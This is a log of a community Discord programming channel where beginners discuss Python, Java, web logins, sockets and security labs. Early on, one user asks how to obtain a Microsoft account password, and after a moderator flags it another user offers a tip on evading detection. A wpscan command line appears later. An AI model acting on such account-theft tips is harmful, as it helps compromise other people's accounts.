#programming
1 messages · Page 33 of 1
thank you ❤️
Gave +1 Rep to @fleet vortex
I am new at this of hacking
How can i learn ir someone that can explain to me how i can get a password of a account?
Account for what?
Like, a password for a account of microsoft
Are you aware that would be illegal?

same here
well actually
I can help
you can practice something called password brute forcing
where you brute force a password
to an account
to keep this legal you should install DVWA or daamn vulnerable web applications
assuming you have a linux system with docker installed
then you can learn the brute force attacks
or brute force the ssh login of metasploit
@dusk grove That user already admitted that the purpose would be for illegal activity. Do not give suggestions when the activity would be illegal or unethical.
Oh
Ok sorry
Yea in only talking legal and btw if that illegal user is reading you need to learn how to do it with different accounts and services anyways so its harder to fo
Hey guys
I wanna learn scary for programming in python since it allows you to hack many things easily, but where is a good place to learn it? Since right now in just copy and pasting it form other places
You don't learn programming by just copy and paste
I k
That's why I want to learn scapy
I know regular python but I need to learn scapy for making hacking scripts
You keep adding random stuff in 'because hacking'. Programming and hacking are different activities, they aren't interchangeable.
I just want to learn scapy
Like I get that I need to learn regular python but scapy too right? That's how we hack the wifi networks
hello
doing the intro to x86-64 room on thm and i`m having some difficulties in determing the value of var-8h
initially the value is 0x63
then the value is compared to the eax
and then the following happens " andl 0x64, var-8h
any idea how to compute this or maybe u cn redirect me to some resource where i can learn to compute it
Image
anyone can help?
Hey 🙂
I have a simple website created using bootstrap.
I need to implement login and registration, would php be the best and easiest for doing this or is there a better way?
i would think django would be better out of the box for that
Ah, I forgot django existed
PHP will have a lot of that functionality as well, but I know django has a lot of prebuilt templates included in the base install
I'll have to check it out. Thank you juun 🙂
touching php always makes me die a little inside if it's not for aggresive security
you welcome, jabba. i know you aren't a fan of python, but it really does a lot of things in a well-organized way. Just having that code style and guides out there make it a much easier lift
Yeah, I was dreading it haha, I don't need anything super complex, as long as they can login then it's fine.
unfortunately logging in is one of those things that is always going to have a certain amount of complexity. I think django does a pretty good job of it, and it lets you pick a backing database at the start
I'm not a fan of Python's format, the language itself isn't too bad 😁
I just love my code to look awesome as well as work
just don't try to migrate data to other kinds of databases, the migration script will break horribly
Ah, I'll keep that in mind. Thank you
try nest.js 😅
Isn't that for frontend?
nope, thats next.js
I would strongly recommend going through the django tutorials as well, if you haven't. One of the tasks in the tutorial is setting up registration and local auth
is it just login and registration?
got the logic of how to do it
thanks anyways
nest is alright but it's more for APIs in my view
it's great tbh. wouldn't recommend it for smaller stuff, but i'm currently rebuilding an ancient php-api with it for work, and i love it
for small things I'd go with flask or something
for a microservice then I don't know.
Quarkus is nice
Python is my favorite and only major programming language
But I have to agree java and c++ looks cooler
Python is easier to code
Java is pain
so?
you can compile to native with graal
Java is fine
it was pain in 2002 granted
Java is the reason why I drink energy drinks
Instead of typing public static void main(String[] args)
You just type print ("hello")
Java 8 made things alright, and Java 17 is better
I thought consumed red bull to clear the inbox queue?
I still prefer Kotlin though
That's just a bonus
nah, C is pretty basic
Java as a language does have some weird corners; the biggest problem with Java is projects that get tied to a specific point version.
they don't really anymore though
In python everything is an object so it's easier to code
every recent version is back compatible
That's good to hear. I have nightmares of trying to remove business critical applets :X
dating back to 1.4
Mhm but getting to the OOP part of Python is more pain than using Kotlin to make an application for android
well, they don't HAVE to be, the big split these days is between Java 8 and 11
because they redid the entire module structure
python doesn't to OOP very well.
encapsulation really isn't a thing that py understands
python doesn't do well past 2 or 3 classes
Last time i touched java in any kind of depth, 1.8 was brand new
Python would be a great language if corners weren't cut to make it "easier" for devs.
1.8 introduced Lambdas
full closures or just whatever janky 'we need to keep up with C++11' hack to included?
is there a programming language most used?
anybody working with swagger-codegen? the ios and android developers i work with generate their code from my api with it and i find it pretty weird. don't know how common that is
Probability dictates that there is but I don't think there is any statistical evidence to say which.
python is very use-case specific. Prototyping? Awesome. Do you need high powered compute? Significantly less awesome. Recursion? Not at all. Async? It's getting much better.
they're shortcuts for anonymous implementations of single abstract method interfaces
You could justify why you think a programming language is the most popular but it is hard to actually know without having numbers to reference.
Ah, ok. So not a real lambda calculus environment
Python OOP makes me blegh
it's better than nothing
close enough for practical purposes
Python string handling and HTTP requests etc really nice, Requests is a great library
Yep - there are metrics that get pulled from github, most of those projects that get counted end up strangled within a year or two. The numbers aren't really very accurate.
Stackoverflow does stats each year
im thinking about learn javascript
Would that be your first programming language?
nothing is stopping you from doing that
ye
doesn't hurt
i just learn a little bit of C
Javascript annoys me because most framework authors think introducing breaking changes every odd point revision is a good idea
A lot of first-time programmers struggle when making the jump from JS to other, more robustly defined languages. I would recommend something like Java or python as a first language.
hum...
Mhm, I guess you could possibly use sampling for each country and then use that, but I don't think there will be a definite answer. Especially as not everyone uses GitHub and other factors that may affect the statistics. Although I think it would be interesting to get an idea.
I've heard that typescript is more strictly defined and has actual rules that get enforced.... but the entire family of JS-like scripting languages is irritating
if that the case i can start with python
talking about that its easy to learn how to use github?
If you want to learn JavaScript, learn the programming fundamentals and then go straight to JavaScript (imo).
Spending too long in one language when planning on moving to another one will build bad habits in the one you're moving to.
Or at least this is what I struggled with from starting out in Python, everyone is different
Agreed - there are still a LOT of 10-20 year old projects that still see regular updates - it would be interesting to see something about market penetration vs programming language for specific types of software
python is good at being 'acceptably bad' in a lot of areas - that is one of the reasons it has spread so far and so deeply.
yep, typescript is annoying in the beginning if you're used to vanilla js, but it helps with dealing with something like ios and android apps and after a while you don't want to go back
And it's really easy to whip up some scripts to process a small-ish chunk of data or automate some other tasks in a relatively short period of time
Mhm, if I need something fast, I'll go for Python. Especially as I've spent so long in it that I can easily make scripts from any bit of documentation work reliably enough. Python's "beginner friendly" and simple format makes that 100% easier.
That's not really a compelling reason for me to learn it. If I ever have to be a developer for mobile, I think I would give up tech and go back to food service.
Sphinx is one of the most useful python libs, and doesn't get enough use.
Want me to break a webapp? Cool. Actually work with that codebase? Not in the slightest.
true. no love for mobile devs
If only Java 17 was mainstream already.
Hah, nerds!
Yes.

I'd leave the app development but I don't know java and in trying to learn python for hacking
So it's a completely different topic
It's lts
yeah, but still not fully supported by libraries. which makes adoption slow.
Java is a bit slow in general
But it has a number of features that would make java a lot less painfuls.
pattern matching, record, switch expressions, for example.
kotlin still builds on jvm, which makes the performance improvements etc come from changes in java.
Well jvm and java are not quite the same thing
But synced in release cycles 🙂
and java still drives pretty much every improvement to jvm.
Yeah well
Say a game was built for Windows and Mac but not Linux and you had the source code to it.
Would it be too much of a stretch on average to compile it for Linux?
just like Juun said, it can be done and it depends on the libraries for stuff like display, sound, keyboard/mouse input, etc (https://www.youtube.com/watch?v=F4Dv32-PoU4)
A step by step tutorial on how i ported Chocolate Doom over to the Nintendo Switch in about 45 minutes, complete a walkthrough on all the tools i use on the Nintendo Switch and PC in order to test and debug my code.
► Chocolate Doom Port - https://github.com/lantus/chocolate-doom-nx
► Setting Up a Dev Environment - http://switchbrew.org/index....
why so?
What’s best place for learning oops in python?
Thanks
Gave +1 Rep to @heavy rampart
Hello there!
Is anyone here maybe good with Java MQRabbit? 🙂
I have a login function coded in PHP but it is not redirecting/ refreshing after the user logs in successfully.
Here's the code:
```php
[Code Removed]
```
And this is what calls the function:
```php
[Code Removed]
```~~~
what happens if I just set exists=true?
That's mainly for debugging, they don't actually do anything.
I'm removing them after the login & register pages work and just using client-side validation. (It's not going to be a public site so I'm not too bothered about securing etc.)
would the exit(); be killing the redirect before the client gets to actually do it?
Location should be a capital L...
and you'll probably want a 301 no?
I'm not sure I understand 😅
302 won't redirect
301 will
I found the problem, 'twas the ajax breaking my page
who's familiar with js/java? How do games hosted casino on sites work/ and would they be vulnerable to css or leveraged to gain an advantage?
Well remember most sites are made with a combination of html css and JavaScript
javascript is used on the client side, correct?
Html is building the website, css is making buttons and structuring stuff, and JavaScript is used for interactions
That's how I look to think of it too
As a beginner
so in this scenario, lets say a winning number is 10. would that information be stored on a server and called to thru the application?
this helps
Well I'm also a semi newbie like you so I may not be able to completely answer this but let me give it a try
Well it would be stored as data I think
If you guessed the correct number
It would probably tell the server the number you got
And the server responds
Also is this a ctf?
That you are doing
general curiosity, not even thm related...i think
im gonna look into it more, bc the steps from clicking a hyperlink and shit popping up on the screen is still wildly remote to me
thx for the help
Well if you are getting into web applications
I would recommend checking out DVWA
And OWASP juice shop
Also dude I'm just like you the people on this server are like talking about computer science degrees and stuff and I'm just some guy trying to learn this stuff on a budget and no school education
Well right then high school obviously
But if you are having trouble learning this stuff then I definitely feel your pain!
I’m starting a bs for cyber this year, but I had no experience in this field until my first job
Will do
yea sorry I know I sound weird Im just happy to finally see someone on this server that is like my skill
Im like beginner-intermediate I can do some attacks and wifi stuff
but Im not a master
in everything
HTML - buttons text headers the building blocks of a website
CSS - makes it look nice
JavaScript - Makes the buttons and links interactive
Hey !
I'm trying to write a script for port scanning with python sockets ...!
I'm done with port scanning . But i want to detect the services name may be i can get service name using this func (socket.getservbyport()). but i'm not able to find their versions plus the OS detection using sockets.
Can i get this info using sockets.?
I've googled but didn't find any clue.
I'll be very grateful if you guys give me any clue.
Thank you
Sometimes.
Fingerprinting ports depends on what the port returns when you connect to it (or, the "fingerprint" if you will).
Try connecting to the ports with netcat to get an idea of what these look like.
Some ports accept the connection but don't return anything -- these are the difficult ones to identify. Most TCP ports will return something, and that can be looked up in a database of stored fingerprints to match it up with a service/version.
So, basically, get your hands on a fingerprint database, read off however many bytes from connecting to the port, then look them up in the DB
And sometimes you have to send the port something to get a reply, or send it a specific packet
Hii can you suggest me a good laptop for programming and some casual gaming a15 😄
well
for me I use acer nitro 5
and I like it
if you are willing to fork out ~700 then you get 512gb of memory (for storing games and old programming) 8gm of ram that you can easily upgrade to 16gb (for gaming - you dont need 8gb of ram for programming) A gtx 1650 or sometimes they even put a 1650ti in there (for gaming obviously), 3 usb ports and an hdmi + hdmi mini port
I have had the laptop for 6 months and it runs great, Ive ocasionally tested games like CSGO Black Squad, Minecraft (with intense shaders and mods) and Halo
it runs like a charm
probably the best laptop I have ever owned
What's your price range? Also realize that a desktop is going to be a much better performance/cost ratio, given the current production level of components.
And programming doesn't have much in the way of requirements, if you are just looking for a simple system to learn programming on, a raspberry pi is enough
yea raspberri pi is great ofr hacking
for*
it even has an inbuilt wifi scanner
I got one and I love it
but I would recommedn you get the kit
recommend*
so you have all the pieces to put it together
if you want to learn hacking and coding the raspberri pi is the best
but of course if you want a more permenant option as a desktop setup or laptop for other purposes you should look into a desktop or laptop
I strongly disagree.
You want something that you can run VMs on.
starting there
but raspberri pi kit comes with a coding book
and it has everything up to and including classes, functions, object oriented programming, and web programming
which will help a person learn sockets and stuff
I said it wrong. What I mean to say is the raspberri pi is a great investment for the hacker that has had some experience, and wants to get into projects like wifi hacking
You can do wifi hacking with a literal $1 wifi USB dongle
ive tried that
the wifi dongles are hard to set up
It's plug and go
and often fail to work\
dude Ive tried it for months
the raspberri pi has never failed in wfii
I can try and send you the one I use
Then you're buying the wrong hardware ngl.
^
its approved for kali
it has monitor mode
problem is
it cant find networks
well sometimes it does
A raspberry pi is good, but it's not the best purchase.
Also seriously, type a sentence in a single message. Sending 10 messages to make a point just fills up the channel.
Yup you definitely don't need a pi to learn hacking
also a raspberri pi can help as an independent computer for hacking as well. if you have a main machine but want a hardware based kali verison
VM?
There's a major reason to use VMs. Snapshots.
Not if you're doing it right
Ive had my points where I like the hardware
Kali designs for VMs because professionals often use VMs with Kali
yes i k
What problems have you had?
and I get it if you have a windowx 10 desktop with virtualbox its fine
well for starters
its hard to hook up and transfer files to other pcs on a virtual machine alone
It's not.
wheras hardware it was easy for me to tranfer via usb
Or Linux. Linux with virtualbox works great.
You can pass through USBs to VMs.
All of these problems are trivially solvable.
Im just saying the problems I had other ppl might have had no issues. Im just saying I liked the raspberri pi and found it much easier to do things then a vm
You can access VM files thruh windows explorer as a drive
but also I think its important to know for anyone interested in the raspberri pi that you cant hook it up to your pc. you have to have to have a separate monitor
and keyboard/usb
Can't you setup a Web interface on the pi to control it from there?
Then they should learn how to use it
Instead of having to buy another monitor
It's not that hard to learn your way around the shell
although you can do many "fun" learning projects with rapsberri pi like make a spy camera with it
or make a wifi network or website on it
its more hands-on
for that stuff
and its your own little separate computer
yea general
So's a VM, except that'd be x86 so you'd be able to run software easier
but does raspberri pi take up storage space on your computer?
remember you only have so much space for vms
escpecially if you have like 4 to 8gb ram
escpecially
Raspberry Pis are good.
They're very much not the solution to every problem.
They solve some problems well. Treating them like they're the be-all and end-all of learning hacking is to miss the very point of a raspberry pi.
I agree
they are more of a fun project
and if you install kali linux on there it is a separate mobile computer
like its small\
you can take it around
ssh into your pi anywhere with a laptop
Seriously. Please condense your messages. The walls of text are filling the channel up and it's a problem.
Thanks man..! That will definitely going to help me ..!
Gave +1 Rep to @tulip sail
I think you might need to pass the command line args to popen as an array
args
The arguments used to launch the process. This may be a list or a string.```
And more to it: If args is a string, the string specifies the command to execute through the shell. This means that the string must be formatted exactly as it would be when typed at the shell prompt. This includes, for example, quoting or backslash escaping filenames with spaces in them. If args is a sequence, the first item specifies the command string, and any additional items will be treated as additional arguments to the shell itself.
How to send Json data in python socket
self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # SOCK_STREAM = TCP connection self.connection.connect((ip, port)) json_data = json.dumps(data) self.connection.send(json_data.encode())
Json is text
So you send text over a socket like you normally do
Like this?
data = {“got_you”:tosend}
jd = json.dumps(data)
s.send(jd.encode())
Idk why I can’t send pic...
I’m struggling
I already did it
Btw I need to go thanks for ur help.
👍 👍
There, it's a dictionary.
Similar concept, not JSON though.
That'll pop out a JSON string yeah
ok questions on programming languages. I have a book called "hacking - the art of explotiation, but the book is entirely based on C. While it teaches you great things and is rated as one of the best hacking books, I have been learning python for months. Do I read the book and learn the C programming language? Or do I continue learning python
not really programming but check out this cool project
https://www.cssartist.com/index.html this is her portoflio
ok but Im having trouble figuring out how to actually learn python. Everywhere I see they tell you to learn one specific niche of python, like "data science" or "machine learning" in this case, Im trying to learn python for hacking, which would be mostly python networking related and python socket programming related Im assuming. Its also not good to learn general language because then you never end up applying it to real life, and most scripts I write, I never need to do things like wrapping or complex classes, I need to know scapy, which I dont know as of right now
and on top of that its hard to learn scapy since there are little courses and the ones on youtube are just copying and pasting the developers code
not really learning anything at all
I don't know if any online python for hacking or socket programming courses does anybody know about courses like these?
not a course, but black hat python book is good
Black hat python seemed alright
Hey
Hi
but would anyone know of a place where I can learn scapy directly? since most of the python hacking seems to be in scapy
scapy's docs are really good (honestly some of the best when it comes to tools running on python)
THM is working on pushing scapy material as we speak but I can't give an ETA (:
thats awesome! I cant wait for the tryhackme on scapy to come out!
the scapy docs is extremely weird
likt there is no guide or anything just a bunch of stuff on like TCP packets and they dont explain much what the packets are or anything. I cant wait for that tryhackme to come out 😄 so I can finally learn how to use scapy
Ok, so it sounds to me like you need to learn the concepts first before writing code around them.
Start learning about networking and TCP.
I have learned about TCP and basic netowkring. I know what TCP/IP is, what ethernet and wifi is and the difference between IPv4 and IPv6
and I get the basic idea of the ODI model but the scapy stuff seems like super complex
Im starting at the usage documentation maybe that will help
Ok, that indicates more reading is required
Hacking is about understanding how stuff works. That's the first step before breaking stuff.
Check out the free-programming-books GitHub page they have a ton of free content
Ok so what would be a great place to learn more advanced networking? Because most if the youtube tutorials are about basic IP and router stuff like what a router and a switch is
No-to-low-cost guide to infosec
CCNA study guide.
These are awesome I like the free online options
Just something for me to learn for future projects I'm not trying to master everything yet
Dude someone should have told me about this site earlier it has like everything you need to know and job info! Thank you for sharing this maybe I canfinally get a good idea where I should be going
Gave +1 Rep to @stoic badger
Just finished listening to the "zero day exploit brokers" episode of darknet diaries. I got a question. Does the field of exploit development and also finding zero days require a decent level of penetration knowledge?
I mean I'm not like a professional in this stuff but before learning this advanced stuff I'd learn the more intermediate skills. Do you know how metasploit works? Can you write basic scripts in a programming language of your choice (or just understand language syntax in general) do you know what a database is or can you preform a BASIC SQL attack? Now notice I said basic because if your just warning computers like me and you just want to learn this, then have fun and don't stress but make sure you know this kind of stuff before learning exploit development and zero day attacks.
Oh I plan on learning everything you mentioned. I was just curious
There's a huge difference between pentest and bug bounty.
They are vastly different activities in the security landscape, and they require different skillsets.
But I recommend one thing: don't stress out, you shouldn't be worrying about taking the Pentest+ exam or whatever when you won't be doing that for years anyway probably. You joined computer science for fun right? Then make it fun, learn the stuff you want and be proud when you hack a computer. There's many people who can't do that
I wanted to get into big bounty bit it seemed a little daunting. Is there anything I should know that's different form Pentesting?
I've been learning hakcing for fun but I'm getting serious and wanting to earn extra money and prepare for jobs
It's very different than pentesting. You don't have any context for what you are asking.
Learn the basics, keep doing CTFs, and start figuring out how network services work.
Frankly I've never done it before so I don't have much idea on it other then watching some YouTube videos on it. What level CTFs do you recommend I get to before I start bug bounty? Are there different skills you should know? I notice you pointed out network services
Servers run all kinds of stuff. I recommend you start with the recommendations in #start-here
As you've been told repeatedly.
THM has bug bounty I never knew that
Yea I started to realize this recently. The field of cyber security is a lot more diverse than I expected.
Ah nvm, they scraped the idea.
btw i believe the first space was due to the / starting the row, and that was being assigned to id
Yep I did that earlier but another problem appeared 😩
Don't know why they prefer files over structures but we're reverting back to structures 👍
I know I was trying to replicate the code and something was off
you should try to getline only once and then work on the string
files are gonna hunt you forever 😄 might aswell find out what was wrong
I might paste you a solution but that wouldn't be helpful for learning
I kinda had this idea, but not so sure on implementing it in C++
Plus its univ work so no copy pasta 
Thanks though @final juniper
Gave +1 Rep to @final juniper
are you familiar with any other languages?
you just need to think about what it means to grab pieces of a string
I'd say I'm pretty good with Python, so I'm probably going to test it out later
in java I would use the split() method to do this, but here you need to do it manually
python has a split aswell
if you know how that works, you just need to figure out how to replicate it
Yeah, some random StackOverflow post probably has it 👀
but thats my least priority for now
hey hey you said no copy paste 😂
gl then
thinking back when I learned how to program with c++ I wasn't allowed to use strings, in char arrays this would've been some fun exercise that thank god my teacher didn't make me do ahah
If I was allowed to use every built-in function, then this would be finished in no time. But then, that defeats the purpose of learning I guess.
Hey I'm running a wpscan in a script in loop. But command in on multiline and it is not running properly. How could i run the command on multi-line. I googled and found that adding "" at end of each line. but this solution doesn't work for me.
wpscan --url https://$domain --max-threads 1 --throttle 3000 --random-user-agent --themes-threshold 0 --disable-tls-checks -e vp,vt,u,cb,dbe \
--detection-mode passive --wp-version-detection mixed --interesting-findings-detection aggressive -o $domain.json -f json --api-token **********************************************************
Is it possible to save the running output of a python script in Bash? The script is in an infinite loop and I'm trying to put together a second script that analyzes the results as they're generated
script only saves when the command executed in bash finishes
I did try going down the route of killing the loop to dump results to then analyze, but the API of this Python script grabs the last three results on launch, which is less than ideal
Start-up of the script, followed by the loop that runs every 60 seconds for new leaks. As new info comes in, I ideally need it dumped out to a txt that can be manipulated and stored by another script
(This is for the purposes of IR, nothing nefarious)
The RansoMonitor script does store new links in a log file, but I'm after the info shown. Scraping the links with BS4 is a pain in the butt due to authentication with MFA. I've had no luck passing my cookies to get to the pages
In fact, I might just edit the RansoMonitor script to dump it out. I'm still curious about the above though for the sake of learning
you should be able to tee it to a file
I did give that a shot, but the output file didn't populate until the Python script was killed
hmm, interesting, you could try to add a logging component to the script?
That's probably the best way of doing it, to be fair. I'll give it a shot
or just write a bash script that says for each piece of output do tee -a .txt
should probably be using a logger, be careful with logs and infinite loops though
eyy I joined Amazon as SDE 2. Ppl interested in referrals can dm (ping here pls first before dm) 🥳
May I ask about your location? (DM is fine as well, or not responding at all 🙂 )
Woaah.. Congrats 🙂
it didn't populate until you closed the program most likely because of stream buffering, could try using sys.stdout.reconfigure(line_buffering=True) or python -u to disable it and should work fine with tee then
but having a builtin logger might be a better solution like people mentioned above
Nice, good shout!
eyy thanks meggy.
Gave +1 Rep to @grave salmon
hope they treat you well 🙂
Grats leggy
probably wont 
🤣 doesn't matter because you kick ass anyways 😄
Amazon are a little weird
Hi guys
I'm trying to add my tryhackme badge on my next-js website, but i don't get it to work. After couple of days googling around, i thought i give a shot here
Any react experts here?
Should just have to paste the js the site gives you
this code grabs any string with 3 or more letters in a row:
console.log(new RegExp('[a-z]{3,}').exec(password_clear.toLowerCase()));
so if password_clear was 123TryHackMe123, the output would be tryhackme.
however, i also wanna convert leetspeak, so 1 can be i or l for example, can that be done within that regex? or would i have to have to do something like:
password_clear = password_clear.replace('4', 'a') // etc
console.log(new RegExp('[a-z]{3,}').exec(password_clear.toLowerCase()));
but then in my proposed solution, i'm not sure how to handle a 1, where it could be an i or an l
I think the better solution is to take the log and run it through a fuzzer
wait wdym
next doesn't like external scripts, so you have to stick with the static image and regenerating it every once in a while.
either use <Image> instead of the regular <img> which you have to import from next/image, or use a regular tag and add this at the top of the file
/* eslint-disable @next/next/no-img-element */
Eh, you should be able to dump it in the HTML no?
Hey ☺️
Dear Programmers, Is it relatively easy to pick C# if you know C++ ?
I know they are different languages totally but more of transistion question if moving from C++ to C#.
Generally, yes 🙂
Yeah C# is pretty easy to pick up if you're already fluent in C++
GG, congratulations
will ask for referral in a year ig jkjk
Thanks for your replies on C# .
C# has a syntax similar to Java
if u know any of the c++/c#/java (even Typescript) u can pick others in very short time.
cause the syntactical building blocks are same
the complexity comes with a stack specific framework. not the language itself.
Can anyone explain to me why when creating a python bytearray as bytearray(b'\x00\x07\x08\x2e\x2f\xa0\xa1') the resulting output is bytearray(b'\x00\x07\x08./\xa0\xa1') ??
\x2e can be represented as . in a printable String. The same goes for \x2f, it can be represented as /.
Thanks. How do I output as expected ie the byte codes not their string value ?
Gave +1 Rep to @solar hull
I can't really remember how that's done.
But according to google there's a .hex() method for bytearrays and byte strings.
Can you learn buffer overflow in python? Or it is really C that is the main language for buffer overflow? In asking because I wanted to learn how to develop exploits, but it's hard to do this when C is the main language that is taught to make these
Ok, you need to draw a distinction here.
C is used to teach bof because you can write vulnerable C programs
Python is often used to exploit them
But can't you write vulnerable programs in python? Because a server or machine can have code written in any language, so the big would be in that language, and any language is compiled to machine code, meaning that it doesn't matter the language it's written in
That's not what James said. C is a good way to learn BOF because there are certain elements of the C language which have undefined behavior - that undefined behavior allows one to write an intentionally-vulnerable program relatively easily.
Can anyone tell y we use return function in cpp?
to "return" data from a class that is needed in another class
But I got the output without using return 0 aslo
I think the key word "return" is in cpp sins you can use C code in CPP program. CPP does not restrict the user to program OO, you can program sequential as well (with out the compiler throwing errors and warnings, dont know if there are compiler flags to prevent it)
The return EXIT_CODE at the end of main is there for returning exit code, 0 meaning program exited successfully. ( There are other codes like 1 if u wish to exit with error ).
Now a days, compiler have improved and can add that much by themselves even if you don't explicitly write it in ur code.
Any language to that compiles to machine code
You've hit the nail on the head there. Python doesn't compile to machine code.
Also read up on why buffer overflows happen, some languages are basically immune
can you formulate better the question? what do you mean you got the output without using return 0?
in a method using referenced parameters? return 0 in main?
if that's the latter as @remote echo said it's there to indicate a successful execution of the code
your program could be called by another program, that needs to know if all went good
Anyway some compilers allow you to use void main so that you won't need a return code, but that's not a best practice
I have made a list of resources for programming if anyone needs some resources
Can I get you to upload this as a TXT file instead? It literally takes up the whole screen
oh yeah, sorry, I will make it into a txt file 😄
Hey does THM have a buffer overflow tutorial, because I love the THM tutorials
How are you getting on with the socket stuff?
Idk that THM was a little hard for me. And when I say I had socket experience, it was more in things like making port scanners
I never saw a search feature on there
Poke about for it.
What did you do to investigate the socket thing Muiri set up? There are a handful of fundamental, important concepts wrapped up in that.
That's a fairly basic CTF challenge -- stick with it 🙂
Yea in a little bottlenecked in getting that string, but once I get the string I just have python decode it and get the data (the decoded password) then it's just a matter of sending it to the port
what's the name of that room?
It's not a room -- it's just something I threw together quickly 🤷♂️
Correct. Time to get researching
oh ok ^^
I'm working in C and wanted to use getchar() to prompt the user to input the enter key to continue a loop. I tried to make the loop continue if the char is "\n" and i also tried "\r". When I used the former, it just skipped past that condition and printed all the way to the end, and when I used the latter, the loop stopped but I kept pressing enter and the condition was never met
Is there something I'm missing
Not all systems use the same end of line. You need to think about which system you're compiling on, and what the enter key actually sends when it is pressed.
thanks for the advice, just got it
Gave +1 Rep to @magic falcon
In python \n is the end of line, in not sure what C is
See what juun said.
It's not a language thing so much as a system thing.
Make sens look how u write something to cmd on linux.
looking at how far compilers/assemblers have come that it maybe change things "\n" to "\r\n" based on the systems it is build for, by using standards across the language, like "\n" for a new line etc. even if is not how you do it on set system.
I could be wrong if so pls ignore my comment.
I used to check against ascii 10 or 13, it usually would catch it
planned to setup nvim through wsl1
since it isn't like wsl2 will it conflict with virtualbox?
I did read of a cmd that disables hyper-v to resolve conflict with vbox idk how that works tho
HyperV isn't required for wsl1
Hey guys I made a python library for string manipulation! It can animate, color, and bruteforce strings. I mainly made it to make attractive CLI applications. check it out! May be useful for some of you guys. https://github.com/fishxsea/charcade https://pypi.org/project/charcade/
forgot to specify which version I was pertaining to my bad
also just went with wsl1 for nvim
Hey, can someone help me with sanitizing user input in bash?
Google wasn’t much of a help
needs more gif in the readme 🙂
sounds like a job for grep
Oh, thanks
Will definitely put some gifs in there of the code running!
Nice! Will definitivly use this
in moderation of course, it's an accessibility nightmare
pls tell something my pc is sucking a lot
specs-i5 8gb ram
without more context, it's probably not that terrible. Depends on your use case though
idk if this question makes sense but, is there a way for me to take a file with an unknown character encoding (not sure if that's the right term), and create extra files with different character encodings (eg. utf-16)?
the purpose for this is, i want to check that when someone uploads a file to my flask webserver, my with open() call doesn't shit the bed
that sounds like way more trouble than it would be worth, jake.
i'd make some assumptions about the file encoding, maybe assume ASCII, UTF-8, or Latin1 and if it's anything else, junk it.
the reason i ask though is in a previous version of this tool (which was running on ubuntu) fucked up because the uploaded file was made on windows
yeah, windows tends to encode files with latin1 by default
it might also be a problem with end of line; that's pretty unlikely, but i have seen it happen
potentially, i scrapped that code so i can't test what exactly the problem was there lol
latin1 tends to cause things to obreak
but i will try latin1 since most of the time the file should be created on windows
oh
best bet, imo, is to make an assumption about the encoding and if it doesn't match ascii, utf8 or latin1, throw it out
okay i will look into methods for that, thank you x
if you are going to allow latin1, i would re-encode to utf before putting it on disk
sweet, thanks for the recs
i haven't used flask, but i had a similar problem in django when 3.0 was brand new
Is there a way to use python to send POST request to html input form ?
I'd suggest checking out requests for that.
That's my plan, just wondering if it is possible to do that. I don't want to end in the rabbit hole of documentation if that is not possible
It definitely is possible to send form data with requests.
Yup
i want to get this inside my js code, how would I ?
Are you... are you trying to cheat at wordle?
i already can, i jsut want to automate it for experimental purpouses
We're not going to help you cheat at a game. That's unethical.
thats not the point
It is the point - it's explicitly against the rules here.
i dont actually cheat at it, I play it correctly everydday
I just want to see how it would be done
but fair
what do you mean by 'project isolation'. That has a very different answer if you want more than dependency segregation
then venv is the basic standard to keep your project dependencies from cluttering the system pip manager
yeah
you could also throw your py dev env into a container and back it with a volume mount
venv is the most 'pythonic' way of doing it
that said, systems engineers have a different perspective than developers
it depends on what your aim is, and what your role in the process is
arguably the container is the less bloaty version 🙃
but.... implementation should be based on your use case
if all you want is a simple dev environment, containerisation is premature
yeah, venv is the way to go for now
when you get to the point where it stands up on its own, then providing a dockerfile or k8s YAML for a Deployment is going to be the thing
look at CRI-O standards for deployment
yeah, it really isn't
writing a dockerfile or k8s Deploy is dummy simple compared to installing a wheel with setup.py and requirements.txt
yep
never
the complicated part of a python lifecycle is the dependency management
because different python programs may want conflicting versions of packages
so you section stuff off with venv whenever you do a non-package manager install
not really
not really at all
requirements.txt is usually a slightly cleaned up dump of packages installed on the venv
a makefile is a set of arbitrary recipe steps that may or may not have dependencies
a requirements.txt is a list of required packages
Traceback (most recent call last):
File "main.py", line 669, in <module>
adafruitw()
File "main.py", line 165, in adafruitw
automatic_email(model, url)
File "main.py", line 20, in automatic_email
s = smtplib.SMTP('smpt.gmail.com', 587)
File "/usr/lib/python3.8/smtplib.py", line 255, in __init__
(code, msg) = self.connect(host, port)
File "/usr/lib/python3.8/smtplib.py", line 339, in connect
self.sock = self._get_socket(host, port, self.timeout)
File "/usr/lib/python3.8/smtplib.py", line 310, in _get_socket
return socket.create_connection((host, port), timeout,
File "/usr/lib/python3.8/socket.py", line 787, in create_connection
for res in getaddrinfo(host, port, 0, SOCK_STREAM):
File "/usr/lib/python3.8/socket.py", line 918, in getaddrinfo
for res in _socket.getaddrinfo(host, port, family, type, proto, flags):
socket.gaierror: [Errno -2] Name or service not known```
not sure why its doing this tbh
Name or service not known research that.
You're specifying something incorrectly
I can see the error. Did you research what I told you to research?
not entirely
give me a second
hmph
i know what it is, not sure hwo to fix it
found my issue
thank you james
i am sending the emails but nothing is showing up
999999999999999999999999999999999999% sure im not doing anything wrong
Do you get any error messages?
what was the issue? I was guessing at something the sendmail() usage based on the smtplib doc, but wasn't sure//didn't take the time to test it
nop
the emails just send and nothing else
s = smtplib.SMTP('smtp.gmail.com', 587)
s.ehlo()
s.starttls()
s.login(email, password)
subject = f"{model} IN STOCK !!"
message = f"The {model} is in stock right now! Buy it at {url}"
print(url)
print(message)
print(subject)
for i in db.keys():
recipient = i
s.sendmail(subject, recipient, message)
s.quit()
print("Email sent!")
server.sendmail(email, sendemail, finalmess)
server.quit()```
Does your email contain anything at all like a subject for example?
What does the message say?
s = smtplib.SMTP('smtp.gmail.com', 587)
s.ehlo()
s.starttls()
s.login(email, password)
subject = f"{model} IN STOCK !!"
message = f"The {model} is in stock right now! Buy it at {url}"
print(url)
print(message)
print(subject)
for i in db.keys():
recipient = i
s.sendmail(subject, recipient, message)
s.quit()
print("Email sent!")```
message = f"The {model} is in stock right now! Buy it at {url}"
the _ model is in stock right now! buy it at "url"
So that's literally what it says? Then the issue is with your code. You are using an F string to refer to parameters such as model which you didnt define anywhere in the snippet you shared
model = "Raspberry Pi 0"
url = 'https://vilros.com/collections/official-raspberry-pi-accessories/products/raspberry-pi-zero'
automatic_email(model, url)```
this is just for this example as of now
Are you expecting this script to check the URL for you?
i just want to send an email
I don't see the point of the script in that case if it's not checking stock or anything other than sending an email with the output of those 2
You said it does send
